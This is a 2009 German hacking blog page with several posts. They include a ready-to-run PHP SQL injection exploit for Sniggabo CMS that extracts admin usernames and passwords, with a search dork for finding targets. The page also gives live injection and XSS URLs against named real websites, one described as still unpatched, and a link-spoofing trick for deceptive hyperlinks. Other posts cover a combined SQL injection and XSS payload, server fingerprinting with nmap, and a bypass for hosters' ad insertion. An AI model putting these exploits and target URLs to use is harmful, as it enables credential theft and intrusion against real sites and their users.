Link faking via Javascript

28. Juni 2009

. [ Show ] in English

Ich habe eher durch zufall einen kleinen Trick entdeckt, wie man das verlinken in HTML faken kann.
Hier ein Beispiel, um euch zu zeigen was ich meine: Das-ist-ein-Beispiellink

Wenn Ihr auf den Link mit dem Mauszeiger geht, seht Ihr in der Statusleiste (egal ob FF oder IE) einen anderen Link, als der der geöffnet wird.

An folgenden Code müsste man eigentlich auch schon erkennen, wie man das ganze anwenden muss:

1
<a href="http://NovuSec.com/" onmousedown="href='http://google.de'">Test-Link</a>

Mit diesen Trick könnt Ihr z.B. versuchen Reffs zu verlinken.

Player Javascript


SQLXSS – Kombinieren von SQL Injection und XSS

22. Juni 2009

. [ Show ] in English


Für gewöhnlich betrachtet man SQL Injections und Cross Site Scripting Attacken separat,
aber es ist durchaus möglich beides zu kombinieren, leider auch nur in eine Richtung.

Wenn man eine Injection gefunden hat, dessen MySQL Version 4 ist, die Tabellen sowie
Columns unbekannt sind, und auch keine Möglichkeit für load_file() besteht, braucht man
nicht unbedingt aufgeben.
Sofern eine Ausgabe vorhanden ist, kann man jeden möglichen Text darstellen, und natürlich
auch, wenn dieser HTML Tags und Javascript Code enthält.

Deswegen kann man SQL Injection und XSS ganz einfach kombinieren.
Das ganze nennt sich SQLXSS und könnte nützlich sein, sofern man nichts
gegen das Anwenden von XSS hat.

Man braucht die Column bei der man die Ausgabe erhält nur ersetzen mit einem beliebigen
JavaScript Code. In diesem Beispiel eine MessageBox mit dem Inhalt “NovuSec”.

Beispiel 1: ‘<script>alert("NovuSec");</script>’

Wenn magic_quotes_gpc angeschaltet ist, braucht man den Text nur in Hexadezimal umwandeln
und bekommt das gleiche Ergebnis.

Beispiel 2: 0×3C7363726970743E616C65727428224E6F767553656322293B3C2F7363726970743E

Diese Methode ist nichts besonderes, da man mit einer SQL Injection meist mehr anfangen
kann, als mit einer XSS Lücke, aber manchmal könnte es vielleicht doch nützlich sein.

Lidloses_Auge SQL Injections, XSS


[SQL Injection] TvTotal

16. Juni 2009

Ich habe diese Lücke vor ca. 1 Monat Reportet, aber diese wurde immer noch nicht gefixed.

http://tvtotal.prosieben.de/tvtotal/videos/player/index.html?contentId=-42136+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,version(),24,25,26,27,28,29,30,31,32,33,34,35,36--+

Player SQL Injections , , , ,


[XSS] Lokalisten

16. Juni 2009
http://www.lokalisten.de/register/landing/editRegister.do?search=<script>alert(document.cookie)</script>

fixed

Player XSS


Sniggabo CMS (article.php id) Remote SQL Injection Exploit

11. Juni 2009

. [ Show ] in English

Dieses Mal ist es bei einem recht kleinen Exploit geblieben:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
print_r('
 
################################################
 
Sniggabo CMS - Remote SQL Injection Exploit
 
Date:				11.06.2009
Vulnerability discovered by:	Lidloses_Auge
Exploit coded by:		Lidloses_Auge
Homepage:		    	http://www.novusec.com
Greetz to:			-=Player=- , Suicide, enco,
				Palme, GPM, karamble, Free-Hack
 
Admin Panel: 			[target]/admin/login.php
Dork:				"powered by Sniggabo CMS" inurl:article.php?id
Use:				php '.$argv[0].' http://www.site.com
 
################################################
 
');
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--";
$src = file_get_contents($url);
$data = split("::",$src);
echo "Admin: $data[1]\nPassword: $data[2]\n";
?>
 
# milw0rm.com [2009-06-11]

Lidloses_Auge Exploits, SQL Injections


NovuSec now also in english language

10. Juni 2009

Some of our articles are now available in english language too.
Because we don’t create complete new articles in english, we
just appended them at the end of the german ones.

You just have to click on “[ Show ] Article in English” at the top of every article and you can view
the english text.
. [ Show ] in English


There will be more translations in future.

We hope to get some more international visitors.
Sincerly

Lidloses_Auge Sonstiges , , , ,


Information Gathering – Fingerprint Techniken

6. Juni 2009

. [ Show ] in English

Der Sicherheitsgrad eines Webservers lässt sich an vielen Faktoren messen, ein wichtiger Faktor sind hierbei die Informationen die preisgegeben werden.
Es gibt viele Informationen, die einem Angreifer wichtige Details zum aufgesetzten Server geben können, und bei vielerlei Dingen ist es sehr einfach Informationen zu bekommen, auch
Wenn diese zunächst uninteressant erscheinen.

Einige Quellen aus denen man Informationen beziehen kann sind folgende:

1. Server Banner:

Das Server Banner wird bei jeden HTTP Request mitgeschickt.
Ein Austausch von Nachrichten besteht aus Request und Answer.
Im Request fragt der Nutzer eine bestimmte Quelle auf dem Webserver an,
und versieht diese optional mit einigen Zusatzinformationen wie Cookie, Content-Type o.Ä. Diese stehen im sogenannten Header.
Diesen gibt es auch bei der vom Webserver gelieferten Antwort, in der zum einen
Das angefragte Dokument zu finden ist, und einige Informationen, wie je nach Optionen des Webservers mitgeliefert werden.

Ein Feld im Antwort-Header kann zum Beispiel das „Server“ Feld, oder auch „Server-Banner“ sein. Dieses könnte wie folgt aussehen:

Server: Apache/2.2.11 (Debian) mod_fastcgi/2.4.6

An den Inhalt des Headers kann man mit den Firefox Erweiterungen „Live HTTP Headers“ oder „Server Spy“ kommen. Es würde allerdings auch ausreichen manuell ein HTTP Request abzusetzen, etwa mit Telnet. Dort wird auch direkt der Antwort Header ausgegeben.
Welche Informationen wofür relevant sind werde ich später noch ausführen.

2. Verhalten des Webservers

Am Verhalten, wie der Webserver auf Veränderungen reagiert lässt sich auch sinnvolles extrahieren. Es gibt zum Beispiel bestimmte Anzeichen an Darstellung und
Parsing Routinen an denen man Skriptsprache oder auch Versionen von Datenbanksystemen erkennen lassen.

3. Automatisiertes Fingerprinting

Mit dem Netzwerktool „nmap“ lassen sich automatisiert Fingerprinting Routinen ausführen, die detaillierte Informationen herausfinden können, bei denen man von Hand nicht unbedingt weiterkommt.

Was an also über den Webserver herausfinden möchte liegt am Benutzer selbst, doch gibt es eine Reihe von Standardinformationen, die man sich auf jeden Fall anschauen sollte.

1. Betriebssystem
2. Webserver
3. Scriptsprache
4. Datenbanksystem
5. Services + Ports
6. Weitere Websites auf Server

1. Betriebssystem

Es gibt einige Hinweise die auf das entsprechende Betriebssystem hindeuten können.
Als eine der wichtigsten Quellen steht hier der Webserver. Man kann diesen in den meisten Fällen aus dem Server Banner auslesen.
Steht hier etwa : „Microsoft-IIS/6.0“ kann man sich sicher sein auf ein Windows Betriebssystem gestoßen zu sein. Der Microsoft IIS Server läuft unter keinem anderen System als Windows.
Findet man allerdings nur ein „Apache“ vor kann man sich nicht 100% sicher sein, da hier nur die Minimal-Angabe eingeschaltet ist.
Die Webserver bieten 6 Optionen, mit denen sich die Ausgabe im Server Banner beeinflussen lässt. Diese nennen sich Server Tokens.

1. Prod (“Apache”)
2. Major (“Apache/2”)
3. Minor (“Apache/2.0”)
4. Min (“Apache/2.0.41”)
5. OS (“Apache/2.0.41 (Unix)”)
6. Full (“Apache/2.0.41 (Unix) mod_fastcgi/2.4.6”)

Man erkennt in diesen Beispielen die Ausgaben, die entweder nur vom Produkt, bis hin zu Versionsnummern und detaillierten Server Angaben über installierte Modifikationen reichen können. Ist hier „OS“ oder „Full“ eingeschaltet, ist die Suche nach dem Betriebssystem relativ schnell beendet.

Ein weiterer Weg ist, den Webserver zu Fehlermeldung zu zwingen in denen der Pfad der aktuellen Datei stehen kann. Dies kann durch Sonderzeichen geschehen, die der Webserver nicht verarbeiten kann. Mögliche Ausgaben können folgende sein:

Warning: Header may not contain more than a single header, new line detected. in C:\xampp\htdocs\info.php on line 2

Warning: Header may not contain more than a single header, new line detected. In
/var/www/info.php on line 2

Hier lässt der Pfad auf das Betriebssystem schließen, sofern es sich um den
absoluten Pfad handelt. Beim ersten ist dies Windows, beim zweiten ein auf Linux
basierendes Betriebssystem.

Eine automatisierte Möglichkeit bietet sich auch mit dem bereits angesprochenen
Tool nmap. Man startet also zunächst einen simplen Portscan mit:
Nmap –v –A Host
Findet man Ports vor wie 3389 oder den NetBIOS Port, ist dies mit großer
Sicherheit ein Windows Rechner, oder man verlässt sich einfach auf
die OS Fingerprint Option von nmap, die wir mit „-A“ eingeschaltet haben.

2. Webserver

Der Webserver lässt sich relativ schnell erschließen, sofern nicht besondere
Maßnahmen zur Verschleierung getroffen wurden.
Helfen wird uns wieder der Server Banner in dem bereits oben gezeigt wurde,
dass in den meisten Fällen der Name des Webservers bereits angezeigt wird,
selbst bei minimaler Darstellung.
Z.b. „Apache“
Sollte man nicht sofort Zugriff zu dem Server Banner haben, kann man auch
Versuchen den Webserver zu einer Fehlermeldung zu zwingen, etwa in dem man
Eine Seite aufruft die nicht existiert. In einigen Fällen wird der Webserver dann
zurückmelden, dass die aufgerufene Seite nicht existiert, und auch gleich den
Webserver mitsamt Version zurückgibt.
Eine weitere Methode ist auch hier das Port und Servicescanning wo wir auf die
Offenen Ports schauen sollten. Auch hier erscheint bei den laufenden Services
In manchen Fällen der Webserver.

3. Skriptsprache

Etwas schwieriger gestaltet sich das Herausfinden der aktuellen Skriptsprache,
denn nicht überall wo .php oder .html dransteht, muss es auch darin sein.

Dieses Versteckspiel wird möglich gemacht vom Zuweisen des Typs auf eine
Frei wählbare Endung, was in der httpd.conf geschieht und wie folgt aussehen
kann:

AddType application/x-httpd-php .php .php4 .html

Das .html am Ende macht deutlich, dass in diesem Falle auch Dateien mit der
Endung html auf PHP Code geparsed werden und folglich auch eine
index.html?id=1 als Ersatz für index.php?id=1 dienen kann. In den meisten Fällen
ist aber den Endungen glauben zu schenken.
Wer ganz sicher gehen will schaut in den altbekannten http Header, aus dem wir
Auch diesmal nützliche Informationen ziehen können.
Ausgegeben werden könnte z.B. dies:

X-Powered-By: PHP/5.2.9

In dem Falle wissen wir sofort, dass es sich um PHP handelt. Dies ist aber nur
möglich, wenn die Option „expose_php“ auf „on“ gestellt ist.

Fehlermeldung die für eine Skriptsprache spezifisch sind, können auch ein starkes
Indiz sein. Eine Blackboxing Methode einen Fehler hervorzurufen, wäre das
Anhängen von Sonderzeichen wie ‘ ” %00 etc. an einen Parameter.
Ein möglicher Fehler wäre bei PHP dieser:

Warning: fopen(/test'.txt): failed to open stream: Permission denied in
/test.php on line 138

Über eine Suchmaschine kann man dann anschließend Informationen über die
auftretenden Fehlern beziehen.

PHP wandelt Variablennamen die mit einem Leerzeichen beginnen automatisch in
einen Namen ohne führende Leerzeichen um, also kann man mit folgendem
simplen Test ebenso auf PHP überprüfen:

index.php?page=10
index.php?+page=10

Wird in beiden Fällen das gleiche angezeigt, ist dies ein gutes Indiz für ein
Vorhandensein von PHP. ASP zum Beispiel reagiert in diesem Falle anders, und
wird ein anderes Dokument als zuvor anzeigen.
Techniken, die die Dateiendungen verschleiern, wie zum Beispiel Mod Rewrite
schützen nicht unbedingt vor der Informationsgewinnung. Ein Beispiel hat Player
in seinem Artikel beschrieben, wie man eine PHP Installation erkennen kann.
Zu finden ist dieser hier: http://novusec.com/php-easter-egg-sinnvoll-nutzen/

4. Datenbanksystem

Die Auswahl an großen Datenbanksystemen ist glücklicherweise nicht allzu groß
und es gibt einige Möglichkeiten herauszufinden, welches installiert ist.
Der Trick mit den Sonderzeichen greift in vielen Fällen auch hier sodass man zum
Beispiel folgende Fehlermeldungen bekommen könnte:

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '3' at line 1

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /var/www/test.php on line 92

Unclosed quotation mark before the character string

Während die ersten beiden Meldungen auf MySQL hinweisen, ist die dritte eine
Meldung des Microsoft SQL Servers. Die Meldungen können außerdem auf eine
SQL Injection hindeuten. Dies funktioniert nur, solange die Option
„display_errors“ auf „on“ geschaltet ist.

Der Portscanner „nmap“ erledigt auch für die Informationsgewinnung über
Datenbanken gute Dienste. Scannt man einen Webserver und findet den offenen
Port 3306, dann ist dies ein laufender MySQL Server. MSSQL benutzt wiederum
Andere Ports und Oracle Datenbanken ebenso andere.

5. Services + Ports

Sofern die Website mitsamt ihren Implementierungen abgesichert ist, gibt es über
Die Seite selbst wenig Möglichkeiten für einen Angreifer Schaden anzurichten.
Die auf dem Server installierten Services können jedoch auch zur Gefahr werden.
Der Befehl:

nmap –v –A Hostadresse

liefert bei installiertem nmap eine detaillierte Auflistung über offene Ports und
dessen Services. Die Programme können Schwachstellen enthalten wie Buffer
Overflows oder Format Strings, die unter Umständen sogar aus der Ferne
angegriffen werden können, und dem Angreifer die vollständige Kontrolle über
den Server bieten, solange die Prozesse SUID root sind, also dem root Konto
gehören.
In großen Exploitdatenbanken kann man anschließend nachschauen, ob zu einem
Gefundenen Service ein Exploit existiert.

6. Weitere Websites auf dem Server

Wird man auf einer Seite nicht fündig, kann man einen Umweg über die Websites
gehen, die auf dem gleichen Server wie die Zielseite liegen.
Das Stichwort ist hierbei „Reverse-IP“ oder „Reverse-DNS“.
Einige Seiten bieten solch einen Dienst an, und zeigen die Seiten mit gleicher IP
an. Manche Seiten sind weniger zuverlässig als andere, dies ist von der Domäne
abhängig die für die Suche zurate gezogen wird.

Beispiele für Reverse-DNS Dienste sind:

http://www.myipneighbors.com/
http://www.domaintools.com/reverse-ip/
http://www.protect-x.com/reverse/

Dies stellt nur einen groben Überblick an Informationen dar, die man beziehen kann, doch können diese Informationen essentiell für ein weiteres Vorgehen sein.
Wer tiefer in die Materie einsteigen möchte sollte sich mit dem Stichwort „Fingerprinting“ umsehen.

Lidloses_Auge PHP , , , , ,


Include in Variable

6. Juni 2009

. [ Show ] in English

Heute hat mich jemand gefragt, ob es möglich ist, das Resultat eines Includes in eine Variable zu schreiben.
Da diese Methode fast garnicht verwenden, aber trotzdem in manchen fällen Interessant sein kann, möchte ich Sie euch einfach mal zeigen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//startet Buffer
ob_start();
 
//Seite wird in Buffer geladen
include("http://NovuSec.com/");
 
//Der Buffer wird in die Variable geschrieben
$MyIn=ob_get_contents();
 
//Nun wird der Buffer wieder gelöscht
ob_end_clean();
 
//Doch der inhlt bleibt in der Variable und kann verwendet werden
echo $MyIn;
 
?>

Grundsätzlich kann genau so gut file_get_contents() verwendet werden.

Player PHP


Webspace Werbung Bypass

28. Mai 2009

. [ Show ] in English

Viele kennen mit sicherheit das Problem: Super FreeWebspace gefunden, mit allem was man braucht, nur wird immer eine lässtige Werbung eingeblendet.
Hier möchte ich Euch nun Möglichkeiten vorstellen, wie man diese Werbung umgehen/bypassen kann.

Methode 1:
Eine Variante ist es, dass das Werbescript den HTML oder BODY Tag sucht und dahinter die Werbung einfügt.
Dabei reicht es, wenn man auf seiner homepage das </body> und/oder </html> entfernt.
Nun kann das Werbescipt die Tags nicht mehr finden und kann daher auch nicht die Werbung einfügen.

Methode 2:
Manche Werbescript suchen einfach das Ende der Homepage und fügen dort die Werbung ein.
Bei der Variante reicht es aus, wenn man nach dem Tag folgendes einfügt: <!--
Damit leitet man in HTML ein Kommentar ein bis man es mit --!>
schließt. Da wir die Kommentierung nicht schließen, wird alles danach auskommentiert und auch nicht dargestellt. Somit wird auch die Werbung ausgeblendet.

Methode 3:
Wenn keine der oben erwähnten Methoden funktioniert, kann man manchmal die Werbung auch mit CSS ausblenden.
Wenn die Werbung z.B. in DIV-Tags dargestellt wird und eine ID hat, kann man die DIV-Box mit CSS ausblenden.
Manche hoster stellen am ende einfach ein Bild dar, dieses kann man auch mit CSS durch ein leeres ersetzen.
Da es von Werbung zu Werbung unterschiedlich ist, kann man auch kein fertiges Script anbieten.
Wenn jemand bei dieser Methode hilfe braucht, kann ich gerne helfen.

VORSICHT:
Die Anbieter haben das gute Recht mit Werbung ihr Geld zu verdienen, daher ist es in fast allen Fällen verboten die Werbung auszublenden. Wenn der Webmaster es herrausfindet werdet Ihr warscheinlich vom Webspace gekickt.

Player Sonstiges, Text Tutorials


PHP Easter Egg sinnvoll nutzen

16. Mai 2009

. [ Show ] in English

Wenn man folgenden Code

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

an eine Homepage hängt und eine Index.php vorhanden ist, wird ein PHP Logo dargestellt.
z.B.

http://novusec.com/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Wie man sehen kann, wird das PHP Logo dargestellt.
Wenn jedoch keine Index.php vorhanden ist, wird auch kein PHP Logo dargestellt.

Wie können wir dieses Easter Egg nun Sinnvoll nutzen?
Auf manchen Homepages werden durch den Mod-Rewrite die Dateiendungen verschleiert. Sprich, man kann nicht mehr erkennen ob es sich um eine HTML-Dateien oder doch um eine PHP-Datei handelt.
Wenn wir nun den Code an die Homepage anhängen und das PHP-Logo erzeugt wird, wissen wir, dass es sich um PHP handelt.

Player PHP, Text Tutorials


Pages: Prev 1 2 3 4 5 6 7 Next